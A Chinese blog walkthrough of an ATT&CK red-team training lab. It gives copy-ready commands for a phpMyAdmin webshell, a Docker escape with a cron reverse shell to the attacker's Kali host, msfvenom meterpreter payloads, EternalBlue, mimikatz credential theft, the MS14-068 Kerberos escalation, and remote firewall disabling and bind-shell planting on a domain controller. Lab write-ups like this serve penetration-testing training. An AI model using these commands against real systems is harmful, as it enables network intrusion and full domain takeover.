ATT—CK红队评估实战内网靶场4

环境搭建

1
2
3
4
5
kali:										192.168.1.128
ubuntu:ubuntu 192.168.138.129 192.168.1.132
域成员机器
douser:Dotest123 192.168.138.128
administrator:Test2008 192.168.138.130

ubuntu启动所有docker服务

1
sudo docker start $(docker ps -a -q)

其中三个无法启动,不用管,保证2001-2003、3306端口的服务正常就行,应该是之前搭建测试的服务

信息收集

image-20241115195600188

struts2:2001端口

image-20241115200031446

tomcat:2002端口

CVE-2017-12615

image-20241117155701300

phpmyadmin:2003端口

执行sql语句

1
show variables like '%secure%';

image-20240607225303935

发现没有写入权限,无法用select into outfile方法写入shell,只能尝试使用第二种方法

开启日志功能

1
set global general_log='on';

image-20241117161236483

这里phpmyadmin是4.8.1,直接尝试CVE-2018-12613

image-20241117161427268

漏洞存在

注get马,post不行

1
SELECT '<?php eval($_GET[a]);?>'

image-20241117165746854

image-20241117165540580

Dokcer之privileged特权模式逃逸

只有tomcat靶机磁盘不为空,蚁剑虚拟终端操作

1
2
mkdir /test
mount /dev/sda1 /test

image-20241117170847923

定时反弹shell

1
2
3
touch /test/test.sh
echo "bash -i >& /dev/tcp/192.168.1.128/9696 0>&1" >/test/test.sh
echo "* * * * * root bash /test.sh" >> /test/etc/crontab

拿到root权限

image-20241117170947595

发现内网

image-20241117171145669

kali生成木马

1
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.22.133 LPORT=3333 -f elf > 3333.elf

开启http服务

1
python -m http.server 8080

ubuntu下载

1
wget http://192.168.1.128:8080/3333.elf

msf开启代理

1
2
3
4
use auxiliary/server/socks_proxy
set SRVHOST 192.168.1.128
set SRVPORT 1080
exploit

监听

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
exploit

image-20241117171750398

添加路由

1
2
run autoroute -s 192.168.183.0/24
run autoroute -p

扫描内网

1
2
3
4
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0/24
set threads 5
run

image-20241117172821379

发现内网

永恒之蓝攻击

1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.128
set lport 4444
exploit

msf代理很不稳定,换ew或者chisel

1
2
./ew_for_linux64 -s rcsocks -l 1080 -e 5555				#kali
./ew_for_linux64.1 -s rssocks -d 192.168.22.133 -e 5555 #web
1
2
./chisel server -p 6666 --reverse				#kali
./chisel client 192.168.22.133:6666 R:socks #web

Kerberos 域用户提权漏洞

win7上执行

1
2
3
4
5
6
7
8
cd C:/Users/douser/Desktop
mimikatz.exe
sekurlsa::logonpasswords
kerberos::purge
kerberos::ptc TGT_douser@DEMO.COM.ccache
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

image-20241118173539508

image-20241118173644053

生成高权限票据

1
2
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

image-20241120192146895

image-20241120192139378

关闭win7防火墙

1
NetSh Advfirewall set allprofiles state off

新建服务关闭域控防火墙

1
2
3
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

image-20241120192422086

生成木马

1
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.1.128 LPORT=7777 -f exe > bind.exe
1
2
upload bind.exe C://Windows//system32//bind.exe   #上传到win7
copy bind.exe \\WIN-ENS2VR5TR3N\c$ #上传到域控

image-20241120194305961

启动木马

1
2
3
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

监听

1
2
3
4
5
6
7
use exploit/multi/handler
set Proxies socks5:127.0.0.1:1080
set payload windows/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 7777
set AutoRunScript post/windows/manage/migrate
run

参考

ATT&CK红队评估(红日靶场四) - FreeBuf网络安全行业门户

ATT&CK红队评估(红日靶场4) - itchen-2002 - 博客园 (cnblogs.com)


ATT—CK红队评估实战内网靶场4
http://tmagwaro.github.io/2024/11/14/ATT—CK红队评估实战内网靶场4/
作者
TMagWarO
发布于
2024年11月14日
许可协议